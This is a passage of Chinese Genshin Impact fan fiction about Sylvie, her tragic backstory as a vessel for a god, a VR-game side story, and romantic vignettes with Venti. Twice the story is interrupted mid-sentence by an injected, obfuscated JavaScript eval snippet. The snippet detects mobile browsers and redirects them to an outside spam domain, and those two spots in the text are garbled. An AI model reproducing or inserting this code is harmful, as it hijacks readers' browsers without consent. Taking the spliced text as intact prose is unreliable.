温迪望着她眼中清晰映出的自己,望着那毫不掩饰的、几乎要满溢出来的爱意,心中最后一丝羞赧也被巨大的幸福和满足所淹没。 他确信自己眼中的爱意一定同样炽热、同样毫无保留。 但幸好,他知道,他的希尔薇小姐,会回馈给他同样深沉、同样真挚的爱意。 他爱着这样的希尔薇小姐,爱着这位穿越世界壁垒来到他身边的灵魂。 他会在每一个夜晚入睡前,为她讲述提瓦特亘古流传的史诗,分享自己作为吟游诗人温迪所见证的无数故事,他会分享着自己的过去,连带着未来。 21. 风吹过[番外] 黑匣子悬浮在空中,开开合合,发出声音:“狄安娜。” 正在弹钢琴的罗南指尖猛地一顿,除了希尔薇,几乎没人会用这个名字叫她。她疲惫地看向黑匣子:“什么事?” “你不伤心吗?”黑匣子的声音带着探究,“毕竟你养了她那么久。” “呵呵。”罗南轻笑一声,笑容里却没什么温度,她不由得想起黑匣子之前说过的话:“你哪里是在养孩子,你分明是在造就一个神明。” 她当时回答:“你召唤我来这里,不就是为了让我拯救这个世界吗?至于希尔薇,在这条路上,没有什么能阻挡我的目标。” 就像她虽然会将异世界的事情编成故事告诉希尔薇,但在发现米蕾什么都不知道时,她也会指示女仆伊莎贝拉将米蕾的存在报告给卡尔迪特家族。 希尔薇有只妖精的事根本瞒不住,引来其他家族猜忌调查更糟,毕竟……那可是传说中神明的眷属。 倒不如由她来揭穿,逼家族表态:要么把米蕾交给她处理,要么……家族很可能直接抹除这个不稳定因素。 她没想到希尔薇的反应如此激烈。那个看似柔弱的孩子,为了保护米蕾,竟抱着同归于尽的决心,硬生生顶住了家族的压力。 代价,是触目惊心的。希尔薇,百年难遇的天赋奇才,赖以感知世界、沟通元素的魔力回路寸寸崩毁,沦为废土;而米蕾,那小小的、歌唱着希望的妖精,其心智被强行撕裂、坍缩,退行到仅余三四岁稚童的懵懂。 卡尔迪特家族是生命女神的狂热信徒,近百年来,他们疯狂追寻着让神明重临大陆的秘密。家族初代家主曾是生命女神的眷属,为了实现这个目标,卡尔迪特家族可谓不择手段。 罗南就听说过家族进行过许多实验,试图找到能承受神力的容器。 直到有一次,她听到消息:实验成功了,一个名叫希尔薇的孩子成功接触到了神明的力量碎片,并且奇迹般地保持了理智。 “这哪里是祭品?”狄安娜心中冷笑,“我可怜的希尔薇,你会被他们当成神明降临的躯壳啊!” 当她被这神秘的黑匣召唤,灵魂坠入此界时,恰逢她名义上的兄长罗南·卡尔迪特于一场“意外”落水后感染寒热之症,不幸殒命。 那位表面温柔、实则强势的母亲用力捏着她的肩膀,一字一句地命令:“从今天起,你就是罗南。你只能是罗南。”狄安娜从此失去了自己的名字和身份。 希尔薇是个比她想象中更温柔善良的孩子,这个小小的女孩,有着传说中神明般的金发金眸。 作为天生灵感满溢的存在,她能轻易感知到周围每一缕情绪的涟漪,如同微风拂过平静的湖面。 在米蕾来到她身边之前,这孩子总爱怯生生地凑近狄安娜,小声地分享她的“听”闻:比如厨房里那位总是愁眉苦脸的胖厨娘,最近因为儿子考上了首都最好的魔法学院,高兴得走路都带风; 又比如,负责插花的女仆,因为妹妹重病没钱医治,每晚都在储藏室偷偷哭泣。“我想帮帮她,”希尔薇说着,把自己攒了很久的卢布塞给了那位女仆。 还有……这个过早看清人间疾苦的孩子,在用自己笨拙的方式,去帮助别人。 狄安娜常常无言以对,只能叹息。她偶尔会恍惚地想,若世间真有神明,就该是希尔薇这般模样。 在希尔薇十岁那年后,家族严令禁止除特定人员外的任何人接触她,更禁止与她交谈,只有女仆伊莎贝拉仍被允许留在她身边。 狄安娜明白,这是卡尔迪特家族对希尔薇的惩罚,也是将她彻底隔离为“容器”的开始。 希尔薇总以为自己被关在庄园一个偏僻的小院子里。事实远非如此,这个从未踏出过庄园一步的孩子根本不知道,她所在的地方,是卡尔迪特家族守卫最森严、最核心的区域。 她在事故中接触了那位陨落神明遗留的强大能量,是唯一活下来的“适格者”。在家族眼中,她就是个容器,活着就行,至于活得怎么样,没人关心。 因此,当狄安娜以“为使容器更完美地侍奉神明,更精准地解读神谕”为名,提出为希尔薇延请教师、搜集典籍时,卡尔迪特家族并未阻拦。 他们审视着那些送入庭院的书籍,是歌颂神迹的圣咏诗篇与箴言录;那些乐器,多是用于演奏神圣乐章的竖琴与风笛;那位被请来的礼仪教师,更是以古板严苛著称的旧贵族典范…… 这一切,都完美契合他们对一个“容器”应有的“培养”方向。于是,戒心稍弛。 但狄安娜却悄悄在这些书籍中混入了一些其他的种子。 她将人间的苦难、抗争与温暖展示在这个被囚禁的孩子面前。 她教导希尔薇怜悯,教导她思考,教导她何为人的尊严。 其实狄安娜希望着这个孩子能逃离牢笼,希望着……她在未来的仪式中,能保留住自己的意识。 ………… 所以,当已成为某种非人存在的希尔薇,那双流淌着纯粹神性金芒的眼眸穿透圣光的帷幕,平静地注视着持剑而来的狄安娜时:“狄安娜,你来了……” 希尔薇的美丽在神光的加持下已臻至超凡脱俗的境地,仿佛由最纯净的光辉雕琢而成。那双金色的眼眸,似乎凝视着狄安娜,又仿佛穿透了她的皮囊,望向时间与空间的尽头。 她开口,声音里带着一种洞穿一切宿命的疲惫与了然:“原来,这就是你一直竭力向我隐瞒的最终图谋……你真正的,目的。” 在那次注定失败的逃亡尝试后,女仆伊莎贝拉被家族以“渎神”与“叛逆”之罪,公开处决。希尔薇身边所有熟悉的面孔,尽数被替换成冰冷的执行者。 她被强行押上祭坛,按着跪倒在地。强大的力量试图撕裂她的意识,强行让某个存在降临。 “我不愿意——!”她撕心裂肺地哭喊、挣扎,指甲在坚硬的大理石上崩裂出血痕。然而,在卡尔迪特家族那早已扭曲癫狂的信仰洪流面前,她微弱的、属于“人”的意志与呐喊,渺小得如同投入熔岩的一粒雪,瞬间蒸发殆尽,不留痕迹。 米蕾,她小小的守护者,为了保护她,如同扑火的飞蛾般冲向那些冷酷的家族法师,却被强行改造成了失去自我、仅余机械反应的炼金傀儡。 唯有希尔薇与米蕾之间那份源自灵魂深处的契约,如同风中残烛般微弱地维系着米蕾意识深处最后一缕不肯熄灭的生机。 这样的神明,如此漠视生命、践踏情感的所谓信仰,究竟有何值得追随?! 刺目的、仿佛能溶解灵魂的神性彻底淹没了希尔薇,她的身体在这股超越凡尘理解的伟力撕扯下,发出不堪重负的悲鸣,仿佛随时会碎裂成齑粉。 如此高高在上,如此漠然,如此……毫无人性。 那双紧闭的眼睛猛然睁开,金光璀璨,冰冷得不带一丝人类的情感。 此刻,她不再是希尔薇。她是祂,某个正在降临的意志。 然而,希尔薇的灵魂并未完全熄灭。在意识的深渊里,在神的视角下,她反而更清晰地“看”到了芸芸众生的苦难。 她那点微弱的意识如同风中残烛,却在这极端时刻爆发出惊人的力量。 她拼命调动着体内属于神的力量,艰难地、笨拙地试图去帮助那些人。 那些衣不果腹的人;那些生命垂危的人;那些挣扎着想要活下去的人 那冰冷的神明意志在她意识中响起,带着俯视蝼蚁般的漠然:“人类渺小如尘埃。若是归顺于我,赐你眷属之位。” “我不需要!”希尔薇的意识倔强地回应,“我想要人们……能像狄安娜故事里讲的那样活着!每个人都能吃饱穿暖,能自由地欢笑和哭泣,能有尊严地活着。” “可笑!”神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969828|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明的声音充满不屑,“若非借助我的力量,你这点意识早已消散,你的挣扎毫无意义。” 希尔薇:“那我就用尽这最后的力气,能做多少,就做多少。这样……就够了。” 所以,当狄安娜的长剑带着决绝的光芒,穿透那颗被金光笼罩的心脏时,希尔薇没有怨恨,没有恐惧。 她只是专注地、深深地凝视着狄安娜的脸庞,那双正在迅速失去焦距的金色眼眸,仿佛想穿透“罗南”的伪装,直视狄安娜灵魂深处那个燃烧着烈焰的、宏伟而悲壮的理想蓝图,那个人人皆可昂首挺胸、沐浴自由的新世界。 希尔薇的意识如流沙般飞速消散,她用尽最后一丝力气,艰难地侧过头,仿佛要将生命的最后呐喊,烙印进这冰冷的世界:“狄安娜……你渴望建立的……那个没有压迫、众生平等的自由国度……去做吧!我……祝福你,我祝福你……终将成功。” “如果……还有可能……”她的声音细若游丝,如同即将断裂的琴弦,却带着一种奇异的憧憬,“我想去……亲眼看一看……那个孕育了你的……世界……” 即使生命正在被无情地抽离,即使心知肚明狄安娜一直以来对她的“好”都带着利用与算计的底色。 在意识彻底沉入永恒的、温暖的黑暗之前,希尔薇用尽这具神躯中最后残存的力量,将她所承载的所有痛苦、所有未能绽放的爱、无比温柔地、毫无保留地……归还给了脚下这片伤痕累累、却依旧孕育着希望的大地。 此刻,已成为新的意志、高踞于时光长河的狄安娜,其目光穿透无尽的时间尘埃,凝视着这段早已凝固的历史。 祂的目光,最终定格在时间长河中某个微小的、几乎被遗忘的片段,希尔薇和心智受损的米蕾,在风雨交加的夜晚,试图逃离卡尔迪特庄园。 祂缓缓抬起由纯粹法则构筑的手指,隔着浩瀚无垠的时间,无比精轻柔地点在了那个决定命运的历史节点之上。 祂的声音带着一丝仅存于记忆深处的温柔:“我祝福你,我的小妹妹。我祝福你……挣脱这枷锁。” 于是,在那个被新神意志悄然拨动的风雨之夜: 当追兵的沉重皮靴践踏着泥泞、魔法侦测的冰冷辉光如同猎犬般扫向小院时,一直沉默守护在旁的女仆伊莎贝拉,爆发出一种前所未有的决绝光芒。 她猛地发力,用尽全身力气将紧抱着米蕾的希尔薇狠狠推向墙角一处被藤蔓遮掩的、通往废弃高塔的古老密道入口。她的声音因极致的激动与恐惧而扭曲变形,尖锐得如同裂帛:“小姐!快走!别回头!去高塔!快——!!” 希尔薇被这突如其来的一推撞得踉跄扑入黑暗的甬道,她拼尽全力,沿着布满灰尘与蛛网的旋梯向上狂奔!追兵粗暴的呼喝与武器碰撞的铿锵声,如同跗骨之蛆般紧紧咬在楼下。 绝望如的潮水即将将她吞没,就在此时,她冲上了高塔的最高层。一座早已废弃、刻满诡异符文的古老祭坛,而就在那布满灰尘的祭坛中央,赫然静静躺着一张散发着强烈、不稳定空间涟漪的古老卷轴。 它出现的时机如此诡异,如同命运最后的垂怜。 她毫不犹豫地抓起卷轴,紧紧抱住虚弱的米蕾,用尽全身力气撕开了它! 刺眼的白光瞬间吞噬了她们。空间剧烈扭曲。希尔薇感觉自己在急速下坠,耳边是尖锐的呼啸…… 不知过了多久,失重感消失了,希尔薇下意识睁开眼。 不再是卡尔迪特庄园那阴森高耸的石墙和压抑的魔法结界,面前是辽阔得惊人的原野,天空是清澈的蔚蓝,空气中流淌着与故乡截然不同的元素气息。 一阵清新、带着青草香气的风温柔地拂过她的脸颊,吹起了她散乱的金发。希尔薇深深地吸了一口气。 狄安娜的故乡有着风与牧歌之城的美称,那儿的人们信仰着象征自由的风神巴巴托斯。 22. 青苹果[番外] 希尔薇一边在游戏内置的冒险者论坛上发帖记录这次“远征”,一边看向身边这位热心带路的老玩家。 他们正尝试一种非常规的方法前往还未正式开放的区域——稻妻。 按照这位玩家的方法,他们从璃月港的特定位置利用风元素制造气泡暂时潜入水下,然后向东穿越海洋。 只要看到远处天空密布的紫色雷云和闪电,就说明成功了一半。 那位名叫“山高狐狸野”的玩家兴致勃勃地催促:“快,趁现在还没人正式登陆稻妻,我们要是能开新地图,绝对是全服第一!嘿嘿!” 《原神》是当下最火爆的现象级全息游戏,首次测试只发放了五千个名额,希尔薇非常幸运地摇到了号。她原本只是想试试,在这个无比真实的虚拟世界里,她的眼睛是否能像正常人一样看见东西。 当游戏舱启动,五彩斑斓的世界第一次真正展现在她眼前时,她激动得几乎落泪。 刚进入游戏的一个月,她几乎整天都在探索和拍照,将那些美景分享到社交账号上,意外收获了不少关注。 然而,随着公测开启,大量新玩家涌入,希尔薇的等级却可怜地停留在二十级,迟迟无法进行突破任务。希尔薇当然也想升级。 可问题出在那个突破副本里,里面有免疫风元素伤害的风史莱姆。 而希尔薇的角色,不知为何,似乎只能共鸣和操控风元素力。 她曾隐晦地向其他玩家打听过,确认只有自己是这种情况,仿佛被某种无形的规则束缚住了。 她也向游戏客服反应过这个问题,对方虽然给了一大堆原石和资源作为补偿,却始终没有解决根本问题。 希尔薇不禁怀疑是不是自己角色创建时出了什么差错,岩元素不能用,想来其他元素应该可以尝试共鸣吧? 可惜她的等级不够,无法接取通往稻妻的主线任务,这才不得不采取这种“偷渡”的冒险方式。 所谓“偷渡”,核心是利用风元素制造短暂的气泡护盾,隔绝海水,在水下行走一段距离。 从璃月港出发,一直向东穿越海洋。遇到狂暴的雷暴区域时,就需要制造更强大的风盾来抵挡雷霆的轰击,只要撑过雷暴最猛烈的阶段,就能安全通过。 遇到雷暴就集中精神制造风盾,等快要接近稻妻的海岸线时,再全力冲刺登陆,就能在岸边激活那里的传送锚点,实现真正的“偷渡”。 “放心,妹子,这方法我研究好久了,包在我身上!”ID叫“山高狐狸野”的玩家拍着胸脯保证,显得十分可靠。希尔薇一边点头,一边内心忐忑。如果到了稻妻,她还是只能使用风元素,无法共鸣雷元素激活神像,那她岂不是要永远卡在二十级? 想到后面精彩的主线剧情和广阔的世界地图都将对她关闭,她的心情不由得低落下来。 她的游戏地图界面和其他玩家一样,但除了蒙德的风神像清晰明亮,其他国家的神像图标都显得灰暗无光。 “对了,”赶路途中,“山高狐狸野”好奇地打量着希尔薇,她的角色形象在游戏里也美得惊人,“妹子,你这角色脸捏得真绝了!是自己设计的吗?” 希尔薇点点头:“嗯…算是吧。”她其实只是按自己现实中的样子进行了微调。 “不愧是你!”对方赞叹道,目光又落在她头顶的ID上,“还起了个‘希尔薇’的名字,一看就是深度沉浸剧情的老玩家!对了,加个好友呗?以后游戏里有什么不懂的随时问我。” 看到“山高狐狸野”发来的好友申请,希尔薇点了同意。对方立刻惊呼:“不是吧?!妹子你是一测老玩家?等级怎么才二十级啊?”他显然看到了希尔薇的id号。 希尔薇只好含糊解释:“嗯…之前玩得不多,时间比较少。” “怪不得呢!”对方恍然大悟。 经过一番惊心动魄的穿行,不断用风盾抵挡雷暴,两人终于踏上了稻妻离岛的土地。“山高狐狸野”兴奋得手舞足蹈:“哈哈哈哈哈!成了!我这就拍照发论坛!妹子,你介意入镜吗?” “不介意的。”希尔薇微笑着回答。 “好咧!”他立刻摆好姿势准备合影,下意识想拉起希尔薇的手摆个造型,却被一股突如其来的柔和气流轻轻推开了。 他也没在意,只当是海风作祟,兴冲冲地说:“走!咱们先去激活岛上的七天神像!” 希尔薇也将手放在散发着紫色微光的雷神神像上。然而,神像毫无反应,预期的元素共鸣并没有发生。 看着旁边“山高狐狸野”正兴奋地翻看自己背包里的稻妻特产,希尔薇无奈地再次叹气,可恶的风史莱姆……早知道当初就不选法师职业了。 结果现在每次进那个突破副本,只能和一群免疫她攻击的风史莱姆大眼瞪小眼,毫无办法。 “为什么风史莱姆偏偏免疫风元素啊!”她忍不住小声抱怨。 “对了妹子,”翻完背包的旅行者转过头来,兴致勃勃地问,“最近不是风神巴巴托斯的祈愿活动Up池吗?你抽得怎么样?” “祈愿?什么祈愿?”希尔薇一脸茫然。 “我靠!你不会到现在一次祈愿都没抽过吧?”对方一脸震惊。希尔薇有点不好意思地点点头。 “来来来,我教你!”对方热心地指导希尔薇点开游戏界面上的祈愿系统。 在《原神》中,获取强力角色主要靠两种资源:一种是游戏内获得或购买的通用货币“原石”;另一种则是与特定角色建立深厚情感联系后获得的特殊祈愿道具“纠缠之缘”。 玩家们发现,与当期祈愿活动角色的好感度越高,使用“纠缠之缘”进行祈愿时,获得该角色的几率就越大。 据说有个ID叫“霁月”的玩家,硬是把璃月的几位仙人角色的好感度都刷满了,一次十连祈愿竟然出了七金,这震撼的场面会被系统公告给全服玩家看,引得无数人疯狂地找各种方法提升角色好感度。 有人试图给岩神钟离送成堆的珍贵矿石,锲而不舍地纠缠,结果没想到反而把好感度刷成了负数。还有人整天跑到风神像下大喊“巴巴托斯我是你忠实的信徒!”之类的话。 希尔薇点开自己的祈愿界面,发现原石有小一万枚,大部分是客服补偿的,还有五百二十个闪闪发光的“纠缠之缘”。 “我靠!”看到这个数字,“山高狐狸野”直接叫出了声,“妹子,你是隐藏的氪金大佬啊!” 希尔薇不知该如何解释,只好默认地点点头。 “你看这里,”他指着祈愿界面左下角一个不起眼的图标,“点开这个‘纠缠共鸣’,再使用‘纠缠之缘’祈愿,效果据说特别好!让我看看你跟风神巴巴托斯的好感度到多少了?”他好奇地凑近。 希尔薇依言点开,发现巴巴托斯名字后面的好感度显示竟然是一串“???”。 “哈哈,”对方尴尬地笑了笑,“可能是显示bug?妹子你试试抽一次十连呗?用‘纠缠之缘’!” 希尔薇也很好奇,于是点击了十连祈愿的按钮。 刹那间,一道极其耀眼的金光冲天而起,将整个祈愿界面渲染得一片辉煌!还没等旁边的“山高狐狸野”把“我擦”喊完,他的游戏画面猛地一卡,紧接着就被强制弹出了希尔薇的游戏世界! 而在希尔薇的视角里,金光散去后,她的游戏界面中央,一个身着绿衣、手持竖琴的少年吟游诗人形象缓缓浮现,正是风神巴巴托斯。 更让她惊讶的是,代表角色实力的命座环绕在他身边,而且数量……一眼看去竟有就个九个。 希尔薇愣住了,又尝试点开了常驻祈愿池,再次进行十连。 又是一道夺目的金光闪过,她抽身回头,惊讶地发现刚才抽到的那个吟游诗人角色,不知何时已经具现化出现在她身后,而那些代表力量的命座,数量似乎又增加了不少,围绕着他缓缓旋转。 希尔薇沉默了,看着被众多命座环绕的吟游诗人,忍不住问道:“常驻池子……难道也只会出巴巴托斯吗?” 另一边,被弹出希尔薇世界的“山高狐狸野”目瞪口呆地看着自己游戏界面上刷过的全服公告:“玩家‘希尔薇’于祈愿中,以十连祈愿召唤得温迪!” 他倒吸一口凉气:“我靠!这妹子什么欧皇体质?把风神好感度刷爆了吧?十连就出金了?!” 想到自己为了抽角色吃满保底的辛酸,不少玩家默默流下了羡慕的泪水。 发现祈愿池似乎被“巴巴托斯”垄断了,希尔薇干脆关掉了界面。她转过身,看向那个已经将环绕的命座收敛起来的吟游诗人。 因为跳过了很多剧情,希尔薇直接问道:“你就是……风神巴巴托斯?” “嗯哼~”少年模样的神明俏皮地眨眨眼,“当然,希尔薇也可以叫我温迪哦。”他脸上带着温柔的笑意。 突然,一个小小的身影带着不满的尖啸冲了过来,像颗小炮弹一样撞在温迪面前:“希尔薇是我的!你这个坏蛋诗人,不许跟我抢希尔薇!”正是小妖精米蕾。 01 温迪万万没想到,希尔薇看谁的眼神都那么专注而温柔,仿佛对方就是她此刻眼中唯一的存在。 这份毫无保留的真诚本是她的魅力所在,却让某位吟游诗人心里有点不是滋味了。 他抱着双臂,鼓着脸颊,难得地显露出孩子气的不满:“我以为希尔薇只会用这样的眼神看我一个人呢!” 希尔薇有些困惑地看着他,不明白他为何突然这样说,脸上依旧带着温和的笑意:“当然不是啊,每个人都是独特的风景,都值得认真去看。”她回答得坦率自然。 “什么呀!”温迪虽然知道希尔薇说的是真心话,可他也清楚得很,不少人被希尔薇这样专注地注视时,都会不自觉地脸红心跳。 “我不要!”他像闹别扭的孩子,声音也拖长了,“希尔薇,我不要你这样看别人嘛!” “咦?”希尔薇放下手中的东西,走到温迪面前,双手捧起他的脸,仔细端详着他气鼓鼓的表情,“真的生气啦?” 然后,她清楚地看到,那张原本写满“我不高兴”的脸,在她的凝视和触碰下,如同冰雪消融般,迅速软化。 耳根也悄悄泛起了红晕,别扭的神情很快被一丝不好意思的笑意取代。 02 希尔薇沉默地打量着眼前这座古老而陌生的城市。 它比记忆中任何一座提瓦特的城邦都要原始和粗犷,空气中弥漫着浓烈而原始的元素力量,却找不到任何一座熟悉的七天神像。这让她感到困惑和一丝不安。 谁能想到,仅仅是一觉醒来,她就莫名穿越了时空? 为了获取信息,希尔薇决定进城。 她庆幸自己今天穿着的是一身仿古蒙德风格的纯白长裙,让她看起来像一位端庄的祭司。 城内气氛热烈,人们脸上洋溢着一种近乎狂热的喜悦,他们高声欢呼,齐声赞颂着一位魔神的名讳——巴巴托斯。 希尔薇立刻明白了自己身处何时何地,这是魔神战争时期,是蒙德城邦刚刚建立的年代。 此时还没有西风教会,希尔薇拦住一个在街边玩耍的小女孩,想打听消息。 女孩仰起头,看到希尔薇的脸庞,小脸瞬间变得通红。 在女孩断断续续的指引下,希尔薇得知了风神巴巴托斯此刻所在的位置。她谢过孩子,走向城市中心广场。 远远地,她就看到那位新生的风之魔神被激动的人群簇拥着。祂有着少年般纯净的面容,最引人注目的是祂身后那双巨大的、宛如由最纯净的风和光织就的羽翼,洁白得不染尘埃,如同献给天空的赞歌。 希尔薇静静地站在人群之外,凝视着这位年轻的神明。 仿佛心有所感,被簇拥着的巴巴托斯忽然转头,清澈的目光穿透人群,准确地落在了希尔薇身上,对上了她那双如同盛满阳光的金色眼眸。 这确实是世间最美好的景象了。 两人坐在高耸的城墙上,这里视野开阔,远离人群,足够安静。 希尔薇双手捧着脸颊,好奇地打量着温迪身上属于这个古老年代的服饰,那是一种简洁而充满力量感的风格。 “很漂亮,温迪。”她由衷地赞叹。 正襟危坐的风之魔神身体微微一僵,似乎被这直白的赞美弄得有些不好意思。 “所以,”他清了清嗓子,声音带着少年人的清朗和一丝不易察觉的紧张,“你真的来自两千年后?是……是我的……”他顿了顿,那个代表亲密关系的词似乎烫嘴,声音变得小小的,“爱人?” “是的。”希尔薇回答得坦然,金色的眼眸依旧专注地看着眼前的魔神。 温迪将自己的过去分享给了希尔薇,所以,希尔薇知道,风的神明吹散了蒙德的冰雪,劈开山峦,建立了名为蒙德的城市。 她也知道无名少年、古恩希尔德家族、流浪的战士···不少人死在了那场斗争时,希尔薇的手抚上温迪的脸,由衷地笑道:“我喜欢这样的你。这样勇敢,这样充满力量,这样为了信念奋不顾身的你。” 希尔薇没想到,这个时期的温迪与两千年后那位洒脱不羁的吟游诗人如此不同。 看着他因为自己的话语和触碰,脸颊慢慢地、慢慢地染上红霞,像个纯情的少年,希尔薇忍不住“噗嗤”一声笑了出来,笑声清脆。 “你有琴吗?”她问。 温迪点点头,从身边凝聚出一把造型古朴的莱雅琴递给希尔薇。在这被夕阳染成金色的宁静时刻,希尔薇为眼前的风之神明弹奏了一首悠扬的赞歌。 琴声流淌,她轻声诉说:“我愿你永远自由如风,我愿你心中永无忧愁烦扰,我愿你如同天空般广阔永恒……” 看着坐在自己身旁,沐浴在金色光辉中为自己弹奏的少女,温迪不自觉地笑了,心中一片柔软。 他想,希尔薇没有追问那些沉重或悲伤的过往细节,只是这样安静地陪着他,为他弹奏一曲,就已足够了。 同时,他心里也泛起一丝陌生的、酸涩的情绪,他竟在嫉妒,嫉妒那个两千年后的自己,能够幸运地遇见希尔薇。 看着这个带着青涩与纯粹神性的温迪,希尔薇感到无比新奇。一个念头冒了出来,她轻声问:“我可以……摸摸你的翅膀吗?” “啊?”温迪显然没料到她会提出这样的请求。一阵微风吹过,卷起几片落叶。温迪的脸瞬间变得更红了,他几乎是下意识地,猛地将那双巨大的洁白羽翼收拢,把自己包裹了起来,像个害羞的巨大白色茧蛹。 他的声音从翅膀里闷闷地传出来:“好……可以的。” 希尔薇伸出手,小心翼翼地触碰到那看似虚幻实则拥有实质触感的羽毛。入手是难以言喻的柔软和温暖,仿佛触碰到了最纯净的风之精华。她的指尖顺着羽毛的纹理轻轻滑下。 翅膀内部,温迪的脸已经红得像熟透的苹果。 他无比庆幸自己用翅膀遮住了脸,否则要是让希尔薇听到自己因为那轻柔抚摸而抑制不住的细微闷哼,还有那无法控制的心跳加速,会不会觉得他……是个轻浮的魔神?他忍不住咬住了下唇。 希尔薇的抚摸带着一种纯粹的好奇与赞叹,指尖的温热透过敏感的羽根传来。 温迪只觉得一股奇异的酥麻感从翅膀蔓延至全身,终于忍耐不住,带着一丝窘迫开口:“希尔薇……不要……这样摸……有点奇怪……”他的声音带着不易察觉的微颤。 “好。”希尔薇立刻收回了手,答应得干脆。 诞生于纯粹风元素的神明,本没有人类那些复杂的羞耻观念。 祂们的形态更接近于精灵,身上由元素力凝聚的衣物也简洁飘逸,袒露着光洁流畅的肢体线条本是常态。 可此刻,在希尔薇清澈目光的注视下,温迪却第一次感到了一种陌生的局促,忍不住想用翅膀或什么把自己包裹得更严实一些。 他想,这大概就是“人”的感觉吧。 03 温迪最近总是很容易陷入沉睡,或者说,是一种精力耗尽的疲乏状态。他常常靠在希尔薇的肩膀上,仿佛稍不留神,整个身体就会无力地蜷缩下去。 希尔薇感受到了他不同寻常的沉重,小心地调整了一下自己的坐姿,让他能依偎得更安稳些。 死亡这个话题,对两人而言都不陌生。希尔薇原本的世界观里,神明是永恒不朽的存在。但温迪轻声否定了这个想法。他告诉她,提瓦特的魔神与神明,也会经历一种缓慢的侵蚀,那是时间与责任带来的磨损,记忆会模糊,力量会流逝,最终会无可避免地走向消亡。 “这确实是一件很残酷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969829|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。”希尔薇想着,目光落在温迪略显苍白的脸上,心中涌起一股确信,“所以,你现在的状态很不好,对吗?”她顿了顿,想到那个最坏的可能,声音不自觉地低了下去,“如果有一天,你走到……” 话未说完,就被一只微凉的手轻轻捂住了嘴。“希尔薇,”吟游诗人的声音带着罕见的低落和一丝恳求,“请不要说下去。” 希尔薇轻轻拿开他的手,换了个方向:“好吧。那么,换一种说法。如果有一天,是我先离开这个世界,我希望你不要忘记我。”她相信,相遇本身已是命运最慷慨的赠礼,因此,即使注定的离别终将到来,也无法抹去曾经拥有的。 长生种的生命漫长如星河。就像妖精米蕾偶尔提起她那悠久的同族,时间在他们身上似乎流淌得更缓慢,却从未停止向前。 希尔薇忽然想起温迪嗜酒的习惯,一个念头闪过,她试探着轻声问道:“所以,你总是喝酒,是为了麻痹那种磨损带来的痛苦吗?” “哈哈,”温迪干笑一声,有些尴尬地别过头去,避开了她的目光。 这时,希尔薇拿出一张折叠整齐的纸,语气平静却带着一丝了然:“‘天使的馈赠’酒馆的最新账单已经送到我这里了,温迪。” 那位伟大的吟游诗人立刻挺直腰板,脸上又挂起了那副招牌式的、略带狡黠的笑容:“啊!那世界上最棒的吟游诗人一定会努力赚钱,尽快把欠希尔薇小姐的债还清的。今晚想听什么故事呢?要不要听听《与神同行三百年》的续篇?” “温迪,”希尔薇没有接他的话茬,她坐直身体,神情是前所未有的认真,“有一些事情,我希望你不要瞒着我。我会为你担心的。”她站起身,走到他面前,俯下身,在他微凉的额头上印下一个轻柔而珍重的吻。“如果有可能,我希望可以和你一起承担。你总是用笑容和玩笑来掩饰自己的不适和痛苦,这样的你,会让我心疼的。” 她凝视着他因惊讶而微微睁大的翠绿眼眸,轻声吐露了一个深藏的秘密:“再告诉你一个小秘密吧。在我很小的时候,曾经无意间接触过一块蕴含着神明力量的碎片。所以,在见到你的第一面,我就知道……你并非普通的吟游诗人。” 04 希尔薇作为祭品时,生活被无数严苛的戒律束缚着,这也不允许,那也不被准许。 所以,当笼罩蒙德城的阴雨终于停歇,天空放晴,空气里弥漫着湿润泥土和青草的清新气息时,温迪像个发现了宝藏的孩子一样,眼睛亮晶晶地朝她伸出手,兴冲冲地问:“雨停了!希尔薇,要不要一起去踩水坑?” “好!”她的声音带着一丝自己都没察觉的雀跃。 踩水坑?这对曾经的她来说,是想都不敢想的“放肆”行为。她甚至从未仔细观察过雨后积水的模样。一种混合着新奇、紧张和微小罪恶感的兴奋感在她心中升起。 “那……你等等我!”她想起自己还穿着日常的裙子,担心弄湿弄脏,连忙转身,“我去换身更方便的衣服!” 温迪看着她匆匆跑开的背影,脸上露出了然的笑,耐心地在原地等着。 不一会儿,希尔薇换了一身轻便的裤装和不怕水的鞋子回来了。温迪再次朝她伸出手,希尔薇将自己的手放进了他的掌心。 两人手牵着手,走到一个清澈的大水坑旁。水坑倒映着湛蓝的天空和洁白的云朵,像一面小小的镜子。 “看我的!”温迪像个顽童般率先示范。他松开希尔薇的手,稍稍后退两步,然后一个助跑,高高跳起,双脚“噗通”一声重重地踏进水坑中央! “哗啦——!” 晶莹的水花瞬间炸开,飞溅起老高,不少水珠调皮地溅到了希尔薇的裤脚和温迪自己的靴子上。 “哈哈哈哈哈!”温迪看着自己制造的“杰作”,开怀大笑起来。 希尔薇被他的情绪感染了,看着那还在荡漾的水波和温迪灿烂的笑容,心里的最后一点拘谨也烟消云散。她学着温迪的样子,小心翼翼地靠近水坑边缘,试探性地用脚尖轻轻点了点水面,荡开一圈小小的涟漪。 “不够响!要这样!”温迪在旁边怂恿着,又示范性地用力踩了一脚,溅起更大的水花。 希尔薇深吸一口气,鼓起勇气,模仿着温迪的动作,也稍微跳起来,然后双脚一起用力踩了下去! “噗嗤!” 